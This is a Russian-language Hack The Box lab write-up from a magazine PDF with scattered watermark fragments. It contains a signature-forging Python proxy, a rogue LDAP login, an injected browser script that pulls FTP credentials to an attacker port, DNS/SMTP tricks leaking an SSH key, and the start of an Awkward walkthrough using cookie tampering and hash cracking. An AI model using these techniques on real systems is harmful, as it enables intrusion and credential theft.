 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

БЬЕМСЯ НАД САМОЙ СЛОЖНОЙ МАШИНОЙ С

HACK THE BOX

ТОЧКА ОПОРЫ

 

 

 

 

Теперь­

проверим­

, приде­ т ли нам ответ, если мы попробу­

ем­ обратить­ ся­

к чату. Первым­ делом сгенери­

руем­

для url действи­ тель­ ный­ url_digest.

Получе­ ние­ значения­ url_digest

С подпись­ ю можн­ о выполнить­ запрос­ к прокси­ сайту­ .

Получе­ ние­ содержимого­ страницы­ chat.response.htb

Способ­ получения­ подписи­ оказал­ ся­ рабочим. Но как бы я ни пытался­ эксфильтро­ вать­ данные­ , все равно­ прише­ л к тому, что нужно­ писать свой проксиру­ ющий­ веб сервер­ . Работать он будет так:

1.Через­ свой браузер­ обращаем­ ­ся к внутренне­ ­му сайту­ , указывая­ IP-адрес написанног­ о нами веб сервера­ .

2.Наш сервер­ будет кодировать­ принятый­ запрос­ и отправлять­ на прок­ си сайт.

3.После­ получения­ ответа­ от прокси­ сайта­ наш самописный­ сервер­ будет декодировать­ принятые­ данные­ и отправлять­ в качестве­ ответа­ браузе­ ­ру.

Так как работать будем с сайтом­ http://chat.response.htb, сделаем­ запись в файл /etc/hosts:

127.0.0.1 chat.response.htb

Сначала­ напишем оснастку­ веб сервера­ без всяких­ функций­ . В классе­ сер­ вера ProxyServer реализуем­ обработ­ чики­ do_GET и do_POST, которые будут вызывать единый­ метод do_Multi. Сперва­ просто­ будем выводить URL, к которому­ обратит­ ­ся браузер­ .

from http.server import BaseHTTPRequestHandler, HTTPServer

from socketserver import ThreadingMixIn

class ProxyServer(BaseHTTPRequestHandler):

def do_GET(self):

self.do_Multi('GET')

def do_POST(self):

self.do_Multi('POST')

def do_Multi(self, method):

uri = self.path

target_url = 'http://chat.response.htb' + uri

print(method + " " + target_url)

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):

pass

ws = ThreadedHTTPServer(("0.0.0.0", 80), ProxyServer)

print("Server started...")

try:

ws.serve_forever()

except KeyboardInterrupt:

pass

ws.server_close()

print("Server stopped.")

Запус­ каем­ сервер­ и обращаем­ ся­ к http://chat.response.htb/.

Логи­ сервера­

Теперь­ наш сервер­ должен­ получать параметр url_digest для запрошен­ ­ ного URL. Для этог­ о реализуем­ функци­ ю getUrlDigest, принима­ ющу­ ю URL.

В функции­ выполняем­ запрос­ к http://www.response.htb/status/main. js.php и извлекаем­ подпись­ из ответа­ .

from http.server import BaseHTTPRequestHandler, HTTPServer

from socketserver import ThreadingMixIn

import requests

def getUrlDigest(target_url):

r = requests.get('http://www.response.htb/status/main.js.php',

cookies={'PHPSESSID': target_url})

index = r.text.index("'session_digest':'") + 18

url_digest = r.text[index : index + 64]

return url_digest

class ProxyServer(BaseHTTPRequestHandler):

def do_GET(self):

self.do_Multi('GET')

def do_POST(self):

self.do_Multi('POST')

def do_Multi(self, method):

uri = self.path

target_url = 'http://chat.response.htb' + uri

print(method + " " + target_url)

url_digest = getUrlDigest(target_url)

print(url_digest)

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):

pass

ws = ThreadedHTTPServer(("0.0.0.0", 80), ProxyServer)

print("Server started...")

try:

ws.serve_forever()

except KeyboardInterrupt:

pass

ws.server_close()

print("Server stopped.")

Логи­ сервера­

Значение­ подписи­ из Burp Pro

Подпись­ получается­ верная­ , а значит­ , можно­ выполнять­ запрос­ к прокси­ сай­ ту. Для этог­ о реализуем­ функци­ ю sendRequest, которая также­ будет извле­ кать из ответа­ прокси­ сайта­ JSON-поле body и декодировать­ Base64.

from http.server import BaseHTTPRequestHandler, HTTPServer

from socketserver import ThreadingMixIn

import requests

import base64

def getUrlDigest(target_url):

r = requests.get('http://www.response.htb/status/main.js.php',

cookies={'PHPSESSID': target_url})

index = r.text.index("'session_digest':'") + 18

url_digest = r.text[index : index + 64]

return url_digest

def sendRequest(target_url, method, url_digest):

data = {'url': target_url,

'url_digest': url_digest,

'method': method,

'session': '1a5455b829845168770cb337f1a05507',

'session_digest':

'd27e297b494df599e72985e6e9a166751d7de74136df9d74468aac0818c29125'

}

r = requests.post('http://proxy.response.htb/fetch', json=data)

try:

r_body = r.json()['body']

ans = base64.b64decode(r_body)

return ans

except:

return None

class ProxyServer(BaseHTTPRequestHandler):

def do_GET(self):

self.do_Multi('GET')

def do_POST(self):

self.do_Multi('POST')

def do_Multi(self, method):

uri = self.path

target_url = 'http://chat.response.htb' + uri

print(method + " " + target_url)

url_digest = getUrlDigest(target_url)

data = sendRequest(target_url, method, url_digest)

print(data)

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):

pass

ws = ThreadedHTTPServer(("0.0.0.0", 80), ProxyServer)

print("Server started...")

try:

ws.serve_forever()

except KeyboardInterrupt:

pass

ws.server_close()

print("Server stopped.")

Логи­ веб сервера­

Если­ выполнить­ запрос­ через браузер­ , мы получаем­ код страницы­ ответа­ в логах. Осталось­ дописать возвра­ т этого­ ответа­ браузе­ ­ру.

from http.server import BaseHTTPRequestHandler, HTTPServer

from socketserver import ThreadingMixIn

import requests

import base64

def getUrlDigest(target_url):

r = requests.get('http://www.response.htb/status/main.js.php',

cookies={'PHPSESSID': target_url})

index = r.text.index("'session_digest':'") + 18

url_digest = r.text[index : index + 64]

return url_digest

def sendRequest(target_url, method, url_digest):

data = {'url': target_url,

'url_digest': url_digest,

'method': method,

'session': '1a5455b829845168770cb337f1a05507',

'session_digest':

'd27e297b494df599e72985e6e9a166751d7de74136df9d74468aac0818c29125'

}

r = requests.post('http://proxy.response.htb/fetch', json=data)

try:

r_body = r.json()['body']

ans = base64.b64decode(r_body)

return ans

except:

return None

class ProxyServer(BaseHTTPRequestHandler):

def do_GET(self):

self.do_Multi('GET')

def do_POST(self):

self.do_Multi('POST')

def do_Multi(self, method):

uri = self.path

target_url = 'http://chat.response.htb' + uri

print(method + " " + target_url)

url_digest = getUrlDigest(target_url)

data = sendRequest(target_url, method, url_digest)

if not data == None:

self.send_response(200)

if uri.endswith('.js'):

self.send_header("Content-type", "application/

javascript")

elif uri.endswith('.css'):

self.send_header("Content-type", "text/css")

else:

self.send_header("Content-type", "text/html")

self.end_headers()

self.wfile.write(data)

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):

pass

ws = ThreadedHTTPServer(("0.0.0.0", 80), ProxyServer)

print("Server started...")

try:

ws.serve_forever()

except KeyboardInterrupt:

pass

ws.server_close()

print("Server stopped.")

Главная­ страница­ сайта­ chat.response.htb

Попробовав­ авторизо­ вать­ ся­ , получаем­ ошибку­ в логах сервера­ , так как там не реализова­ на­ отправка­ данных­ .

Логи­ сервера­

Дописы­ ваем­ отправку­ данных­ POST.

from http.server import BaseHTTPRequestHandler, HTTPServer

from socketserver import ThreadingMixIn

import requests

import base64

def getUrlDigest(target_url):

r = requests.get('http://www.response.htb/status/main.js.php',

cookies={'PHPSESSID': target_url})

index = r.text.index("'session_digest':'") + 18

url_digest = r.text[index : index + 64]

return url_digest

def sendRequest(target_url, method, url_digest, post_body=None):

data = {'url': target_url,

'url_digest': url_digest,

'method': method,

'session': '1a5455b829845168770cb337f1a05507',

'session_digest':

'd27e297b494df599e72985e6e9a166751d7de74136df9d74468aac0818c29125'

}

if method == 'POST':

data['body'] = base64.b64encode(post_body)

r = requests.post('http://proxy.response.htb/fetch', json=data)

try:

r_body = r.json()['body']

ans = base64.b64decode(r_body)

return ans

except:

return None

class ProxyServer(BaseHTTPRequestHandler):

def do_GET(self):

self.do_Multi('GET')

def do_POST(self):

self.do_Multi('POST')

def do_Multi(self, method):

uri = self.path

target_url = 'http://chat.response.htb' + uri

print(method + " " + target_url)

url_digest = getUrlDigest(target_url)

if method == 'POST':

content_length = int(self.headers.get('Content-Length'))

post_body = self.rfile.read(content_length)

print("body: " + post_body.decode())

else:

post_body = None

data = sendRequest(target_url, method, url_digest, post_body)

if not data == None:

self.send_response(200)

if uri.endswith('.js'):

self.send_header("Content-type", "application/

javascript")

elif uri.endswith('.css'):

self.send_header("Content-type", "text/css")

else:

self.send_header("Content-type", "text/html")

self.end_headers()

self.wfile.write(data)

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):

pass

ws = ThreadedHTTPServer(("0.0.0.0", 80), ProxyServer)

print("Server started...")

try:

ws.serve_forever()

except KeyboardInterrupt:

pass

ws.server_close()

print("Server stopped.")

Теперь­ пробуем­ некоторые­ популярные­ комбинации­ учетных­ данных­ и авто­ ризуемся­ как guest/guest.

Главная­ страница­ чата

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

БЬЕМСЯ НАД САМОЙ СЛОЖНОЙ МАШИНОЙ С

HACK THE BOX

ПРОДВИЖЕНИЕ Пользователь bob

В логах видим переданные­ на сервер­ данные­ . Помимо логина и пароля, также­ передается­ адрес сервера­ LDAP.

Логи­ сервера­

Значит­ , мы можем запустить­ собствен­ ­ный LDAP-сервер­ , создать­ запись для админис­ ­тра­тора сайта­ и отправить­ веб приложе­ ­ние для авториза­ ­ции через наш сервер­ . Так как мы будем знать заданные­ учетные­ данные­ , мы авторизу­ ­емся в приложе­ ­нии от имени­ админа­ .

Первым­ делом установим­ и настро­ ­им сервер­ LDAP.

sudo apt install slapd

sudo dpkg-reconfigure slapd

Настрой­ ка­ LDAP

Теперь­ создадим­ запись. Нам нужно­ создать­ подразде­ ­ление (OU) users и добавить к нему пользовате­ ­ля admin. Параметры­ записываем­ в файл, который указыва­ ­ем утилите­ ldapadd.

dn: ou=users,dc=response,dc=htb

changetype: add

objectClass: organizationalPerson

sn: test

cn: test

dn: uid=admin,ou=users,dc=response,dc=htb

changetype: add

objectClass: inetOrgPerson

userPassword: ralfralf

sn: test

cn: test

ldapadd -x c -D "cn=admin,dc=response,dc=htb" -w 'ralf' -H ldap://

127.0.0.1 -f new.ldap

Добав­ ление­ записей LDAP

Затем­ в Burp Proxy добавим правило­ замены ldap.response.htb на адрес 10.10.14.40. Таким образом­ при авториза­ ции­ из браузе­ ра­ изначаль­ ный­ сервер­ LDAP будет заменен нашим адресом­ и приложе­ ние­ пройде­ т авто­ ризаци­ ю через него.

Burp Proxy — прави­ ло замены

Как видишь, теперь мы работаем­ от имени­ админа­ .

Главная­ страница­ чата

Спустя­ несколь­ к­ о секунд увидим­ входящие­ сообщения­ от пользовате­ ля­ bob.

Перепис­ ка­ с пользовате­ лем­

Я попробова­ л ответить­ пользовате­ лю­ на его вопрос­ , и он прислал­ мне параметры­ FTP-сервера­ и учетные­ данные­ для подклю­ чения­ .

Перепис­ ка­ с пользовате­ лем­

Я отправи­ л пользовате­ лю­ адрес страницы­ и в логах веб сервера­ увидел­ обращение­ к ней.

Перепис­ ка­ с пользовате­ лем­

Логи­ веб сервера­

Так как пользователь­ посещае­ т нашу страницу­ , напишем простой­ скрипт, который выполни­ т запрос­ к FTP-серверу­ и отправи­ т его ответ на другой­ открытый­ порт.

<script>

var xhr = new XMLHttpRequest();

xhr.open("POST", 'http://172.18.0.6:2121/',true);

xhr.setRequestHeader("Content-Type", "application/

x-www-form-urlencoded");

xhr.onreadystatechange = function() {

if (this.readyState === XMLHttpRequest.DONE && this.status ===

200) {}

}

xhr.send("USER ftp_user\r\nPASS Secret12345\r\nPORT 10,10,14,40,

100,100\r\nLIST\r\n");

</script>

В последней­ строке­ мы выполняем­ команду­ LIST, которая верне­ т список­ файлов­ в каталоге­ . Вставляем­ скрипт на страницу­ и повторно­ отправляем­ ссылку­ пользовате­ лю­ .

Отве­ т FTP

Видим­ файл creds.txt — нам, безусловно­ , нужно­ его содержимое­ . Чтобы­ его узнать, изменим­ команду­ LIST на RETR creds.txt. И после­ повторной­ отправки­ ссылки­ получаем­ содержимое­ файла­ .

 

 

 

 

Отве­

т FTP

 

 

 

 

 

 

 

 

 

 

 

 

 

В файле­ есть учетные­

данные­

для

авториза­

ции­

по SSH. Авторизу­

емся­

и забираем­ первый­

флаг.

 

 

 

 

 

 

 

 

Флаг пользовате­ ля­

Пользователь scryh

Теперь­ нам необходимо­ собрать­ информацию­ . Я, как обычно­ , использовал­

для этог­ о скрипты­ PEASS, но в этот раз в выводе скрипта­ мало интерес­ ­ного: в списках­ процес­ ­сов отмечаем­ работающий­ Docker, а также­ недавно­ модифициро­ ­ван­ные файлы­ в домашнем­ каталоге­ другого­ пользовате­ ­ля.

Список­ процес­ сов­

Последние­ модифициро­ ван­ ные­ файлы­

Перехо­ дим­ к домашнему­ каталогу­ пользовате­ ля­ scryh и узнаем­ , что можем просматри­ вать­ некоторые­ файлы­ .

Содер­ жимое­ каталога­ scan

Содер­ жимое­ файла­ log.txt

Также­ есть два скрипта­ , которые я перенес на локальный­ хост и открыл в VSCode для анализа­ . Выяснилось­ , что скрипт send_report.py отправляет­ файл на указан­ ный­ сервер­ определен­ ному­ пользовате­ лю­ .

Исходный­ код send_report.py

Скрипт scan.sh очень объемный­ , и его работу будем разбирать­ поэтапно­ дальше­ .

Исходный­ код scan.sh

Интерес­ ные­ вопросы­ : запускают­ ся­ ли эти скрипты­ на хосте­ и что для этого­ нужно­ ? Ответить­ на них поможет утилита­ для отслежива­ ния­ запускаемых­ про­ цессов­ pspy64. Переносим­ исполняемый­ файл на удален­ ный­ сервер­ и в логах отмечаем­ работу cron и исполнение­ скрипта­ каждую­ минуту от имени­ пользовате­ ля­ scryh.

Логи­ pspy64

Перехо­ дим­ к разбору­ этого­ самописного­ сканера­ . В строке­ 19 произво­ дит­ ся­ LDAP-запрос­ и из ответа­ извлекают­ ся­ все серверы­ . Выполним­ запрос­ к LDAP, пароль и DN подклю­ чения­ указаны­ в строках­ 8 и 9.

/usr/bin/ldapsearch -x -D 'cn=admin,dc=response,dc=htb' -w

'aU4EZxEAOnimLNzk3' -s sub -b 'ou=servers,dc=response,dc=htb' '(

objectclass=ipHost)'

Отве­ т от сервера­

Затем­ для каждог­ о сервера­ сканиру­ ется­ порт 443 (строка­ 26). Давай добавим

вбазу новую запись, где укажем­ свой хост. Сначала­ добавим эту запись

вфайл.

dn: cn=rPC,ou=servers,dc=response,dc=htb

objectClass: top

objectClass: ipHost

objectClass: device

cn: rPC

manager: uid=marie,ou=customers,dc=response,dc=htb

ipHostNumber: 10.10.14.32

Затем­ отправим­ в базу.

ldapadd -D 'cn=admin,dc=response,dc=htb' -w 'aU4EZxEAOnimLNzk3' -f

new.ldif

Запись­ данных­ в базу LDAP

А теперь попробу­ ем­ поймать­ подклю­ чение­ к порту­ 443. Ожидаем­ несколь­ ко­ секунд и видим входящий­ запрос­ .

 

 

 

Логи­

листенера­

 

 

 

 

 

 

 

 

 

 

Продол­ жаем­

анализ­

скрипта­ .

В строке­ 30 снова­ происхо­

ди­ т обращение­

к базе LDAP, где для определен­

ного­

сервера­

извлекает­ ся­ UID пользовате­

ля­ .

/usr/bin/ldapsearch -x -D 'cn=admin,dc=response,dc=htb' -w

'aU4EZxEAOnimLNzk3' -s sub -b 'ou=servers,dc=response,dc=htb' '(&(

objectclass=ipHost)(ipHostNumber='10.10.14.32'))'|grep 'manager:

uid='|cut -d '=' -f2|cut -d ',' -f1

Получе­ ние­ UID пользовате­ ля­ для нашего сервера­

Затем­ полученный­ UID передается­ в новый запрос­ LDAP в строке­ 35. Только­ этот запрос­ выполняет­ ся­ к другому­ подразде­ лению­ (customers), и из ответа­ выделяется­ почтовый­ адрес пользовате­ ля­ . Посмотрим­ на это подразде­ ление­ .

/usr/bin/ldapsearch -x -D "cn=admin,dc=response,dc=htb" -w

aU4EZxEAOnimLNzk3 -s sub -b 'ou=customers,dc=response,dc=htb' '(uid='

marie')'

Отве­ т от сервера­

Теперь­ нам нужн­ о добавлять­ записи в оба подразде­ ­ления. Новый файл new. ldif:

dn: cn=rPC,ou=servers,dc=response,dc=htb

objectClass: top

objectClass: ipHost

objectClass: device

cn: rPC

manager: uid=ralf,ou=customers,dc=response,dc=htb

ipHostNumber: 10.10.14.32

dn: uid=ralf,ou=customers,dc=response,dc=htb

objectClass: inetOrgPerson

cn: Marie Wiliams

sn: ralf

uid: ralf

mail: ralf@ralf-pc.htb

Обновля­ ем­ записи в базе и пробуем­ получить почту­ уже своего­ пользовате­ ля­ .

ldapadd -D 'cn=admin,dc=response,dc=htb' -w 'aU4EZxEAOnimLNzk3' -f

new.ldif

/usr/bin/ldapsearch -x -D "cn=admin,dc=response,dc=htb" -w

aU4EZxEAOnimLNzk3 -s sub -b 'ou=customers,dc=response,dc=htb' '(uid='

ralf')'|grep 'mail: '|cut -d ' ' -f2

Email запрошен­ ­ного пользовате­ ­ля

В строке­ 40 из почтового­ адреса­ пользовате­ ля­ получается­ определить­ домен. Затем по указан­ ному­ домену выполняет­ ся­ запрос­ nslookup (стро­ ка 42), в случае­ ошибки­ дополнитель­ но­ указыва­ ется­ и полученный­ ранее адрес сервера­ (строка­ 48). Если запрос­ выполнен­ успешно, то из ответа­ извлекает­ ся­ адрес почтового­ сервера­ (строки­ 60–64), куда и будет отправлен­ файл с результатом­ сканиро­ вания­ порта­ (строка­ 70).

Таким­ образом­ , нам нужно­ развернуть­ на своем­ хосте­ сервер­ DNS и сде­ лать на нем MX-запись. Для этого­ можно­ использовать­ инстру­ мен­ т dnsmasq. Создадим­ файл конфигура­ ции­ :

address=/mail.ralf-pc.htb/10.10.14.32

mx-host=ralf-pc.htb,mail.ralf-pc.htb,0

И передадим­ его dnsmasq:

dnsmasq -C dns.txt

Проверим­ работу DNS-сервера­ с удален­ ного­ хоста­ .

dig ralf-pc.htb @10.10.14.32 MX +short

dig mail.ralf-pc.htb @10.10.14.32 +short

Провер­ ка­ работы DNS

А теперь выполним­ команду­ nslookup из скрипта­ , чтобы­ убедить­ ся­ , получит ли сканер­ адрес нашего почтового­ сервера­ .

nslookup -type=mx ralf-pc.htb 10.10.14.32

nslookup -type=mx ralf-pc.htb 10.10.14.32 |grep 'mail exchanger'|cut

-d '=' -f2|sort|head -n1|cut -d ' ' -f3

Получе­ ние­ адреса­ почтового­ сервера­

Все готово, мы поэтапно­ прошли­ работу скрипта­ , но осталось­ кое что еще. Во первых­ , сканер­ проверя­ е­ т порт 443, на котором должен­ быть SSL. Сге­ нерируем­ ключ и сертифика­ т для веб сервера­ .

openssl req -x509 -nodes -newkey rsa:4096 -out cert.pem -keyout key.

pem -sha256 -days 356

А код самого HTTPS-сервера­ на Python 3 получим по первой­ ссылке­ :

from http.server import HTTPServer, BaseHTTPRequestHandler

import ssl

httpd = HTTPServer(('10.10.14.32', 443), BaseHTTPRequestHandler)

httpd.socket = ssl.wrap_socket (httpd.socket,

keyfile="./key.pem",

certfile='./cert.pem', server_side=True)

httpd.serve_forever()

Во вторых­ , нам нужн­ о куда то принимать­ входящее­ сообщение­ . Для этого­ развернем­ простой­ SMTP-сервер­ :

sudo python3 -m smtpd -n -c DebuggingServer 10.10.14.32:25

Все готово. Теперь обновляем­ запись LDAP, как это делали раньше­ , и в течение минуты получаем­ запрос­ на веб сервер­ , а потом и сообщение­ на почтовый­ .

Входящее­ сообщение­

В Base64 закодирован­ PDF-файл. Декодируем­ его и смотрим­ .

Отче­ т о сканиро­ вании­

В самом отчете­ видим преобра­ зова­ ние­ строки­ штата­ из сгенери­ рован­ ного­ сертифика­ та­ SSL. Она получается­ из файла­ , который расположен­ в папке­ рядом со скриптами­ для Nmap на удален­ ном­ сервере­ .

Содер­ жимое­ файла­ stateOnProvinceName/Some-Sate

Так мы можем манипулиро­ вать­ путем к файлу­ , который будет отражен­ в отче­ те. Попробу­ ем­ прочитать­ закрытый­ пользователь­ ский­ ключ SSH. Для этого­ создадим­ новый сертифика­ т и укажем­ путь к файлу­ в поле штата­ .

openssl req -x509 -nodes -newkey rsa:4096 -out cert.pem -keyout key.

pem -sha256 -days 356

Создание­ сертифика­ та­

Снова­ обновляем­ запись LDAP и получаем­ новый файл. Теперь отчет, как и предполага­ лось­ , содержи­ т ключ SSH!

Отчет­

С этим ключом­ подклю­ чаем­ ся­ к хосту­ и получаем­ еще одного­ пользовате­ ля­ .

Сессия­ пользовате­ ля­ scryh

Итак, мы узнали­ учетные­ записи двух пользовате­ лей­ , но дальше­ машина ока­ залась еще сложнее­ , и получить рут на ней я так и не смог.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИНЖЕКТИМ КОМАНДЫ ОС РАЗНЫМИ СПОСОБАМИ

В этом райтапе­ я покажу, как обходить­ аутентифика­ цию­ веб приложе­ ния­ , искать уязвимос­ ти­ в JWT и эксплу­ ати­ ровать­ уяз­ вимости­ LFI и SSRF. Помимо этого­ , нам понадобит­ ся­ несколь­ ко­ внедрений­ команд при обработ­ ке­ данных­ .

RalfHacker hackerralf8@gmail.com

Наша­ цель — захва­ т учебной­ машины Awkward с площад­ ки­ Hack The Box. Уро­ вень сложности­ — средний­ .

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Первым­ делом добавляем­ IP-адрес машины в /etc/hosts:

10.10.11.185 awkward.htb

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз­ воляе­ т атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ :

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ­ет в два этапа­ . На первом­ произво­ ­дит­ся обычное­ быстрое­ ска­ нирование­ , на втором­ — более тщатель­ ­ное сканиро­ ­вание, с использовани­ ­ем имеющих­ ­ся скриптов­ (опция -A).

Резуль­ та­ т работы скрипта­

По результатам­ сканиро­ ­вания видим всего­ два открытых­ порта­ : 22 — служба­

OpenSSH 8.9p1 и 80 — веб сервер­ Nginx 1.18.0. На SSH нам пока делать нечего, поэтому­ посмотрим­ , что нам покажет веб сервер­ .

Редирек­ т на новый адрес

Главная­ страница­ недоступна­ , так как сайт выполняе­ т редирект на новый домен. Добавляем­ этот адрес в файл /etc/hosts и повторя­ ем­ запрос­ .

10.10.11.185 awkward.htb hat-valley.htb

Главная­ страница­ сайта­

ТОЧКА ВХОДА

Чтобы­ увеличить­ область тестирова­ ния­ , лучше­ всего­ постро­ ить­ карту­ сайта­ . Это можн­ о сделать­ прямо­ в Burp Proxy, выбрав­ в контекс­ тном­ меню

Engagement tools → Discover content.

Карта­ сайта­

На самом сайте­ ничего найти­ не удалось­ , и никакие дополнитель­ ные­ ска­ нирования­ не помогли­ . Тогда­ я стал искать новые точки­ входа­ и нашел нес­ кольк­ о новых страниц­ в файле­ app.js.

Ссылка­ на страницу­ сайта­

Ссылка­ на страницу­ сайта­

Перехо­ дим­ на любую из них, нас встрети­ т форма­ авториза­ ции­ .

Форма­ авториза­ ции­ сайта­

Перебор­ простых­ логинов и паролей ни к чему не привел­ , и я вернулся­ к Burp History. В одном из запросов­ обратим­ внимание­ на передаваемые­ куки

token=guest.

 

 

 

Запрос­ на сайт в Burp Proxy

 

 

 

 

 

 

 

 

Попробу­

ем­ использовать­

вместо­ guest пользовате­

ля­ admin в надежде­

на неправиль­

ну­ ю провер­ ку­ значения­

. Для удобства­ можно­ просто­ создать­

прави­ ло замены в Burp Proxy.

 

 

 

Прави­ ло замены в Burp Proxy

И теперь нам доступна­ страница­ /dashboard.

Страница­ dashboard

Локаль­ ное­ хранили­ ще­ браузе­ ра­

ТОЧКА ОПОРЫ

Просматри­ ­вая Burp History, находим новый запрос­ к неизвес­ ­тно­му API.

Burp History

На самой странице­ просто­ выводится­ ошибка­ JWT.

Отве­ т сервера­

Так как происхо­ ди­ т расшифров­ ка­ значения­ куки token, а мы там просто­ ука­ зали слов­ о admin, то и расшифро­ ван­ о оно не будет. Отсюда­ и получается­ ошибка­ . Переносим­ запрос­ в Burp Repeater, совсем­ удаляем­ куки и выпол­ няем запрос­ .

Отве­ т сервера­

API работае­ т и без аутентифика­ ­ции, поэтому­ мы получаем­ список­ поль­ зователей­ и хеши их паролей. Хеши паролей отправляем­ на CrackStation и получаем­ один открытый­ пароль.

Резуль­ ­тат взлома­ хешей

Авторизу­ емся­ с полученными­ учетными­ данными­ как пользователь­ christopher.jones.

Главная­ страница­ пользовате­ ля­

JSON Web Token

Раз используют­ ­ся токены JWT, стои­ т провес­ ­ти несколь­ ­ко тестов­ и поп­ робовать подделать­ или даже легитимно­ создать­ токен (получить секрет­ ).

Запрос­ в Burp Proxy

JSON Web Token состои­ т из трех частей­ : заголовка­ (header), полезной­ наг­ рузки (payload) и подписи­ . Заголовок­ и полезная­ нагрузка­ представ­ ляют­ собой объекты­ JSON, при этом нагрузка­ может быть любой, это именно­ те критичес­ ки­ важные­ данные­ , которые передаются­ приложе­ нию­ . Заголовок­ содержи­ т определен­ ные­ поля:

alg — алгоритм­ , используемый­ для подписи­ /шифрования­ . Это обязатель­ ­ ный ключ;

typ — тип токена. Это поле должно­ иметь значение­ JWT.

Третий­ элемен­ т вычисляет­ ­ся на основании­ первых­ двух и зависит от выб­ ранног­ о алгорит­ ­ма. Токены могут быть перекодиро­ ­ваны в компак­ ­тное пред­ ставление­ : к заголовку­ и полезной­ нагрузке­ применя­ ­ется алгоритм­ Base64URL, после­ чего добавляет­ ­ся подпись­ и все три элемен­ ­та разделя­ ­ются точ­ ками.

Для анализа­ токенов можно­ использовать­ приложе­ ­ние jwt_tool или сайт jwt.io.

Восполь­ зуем­ ся­ jwt.io, чтобы­ посмотреть­ , что внутри­ у токена.

Декоди­ рова­ ние­ JWT-токена

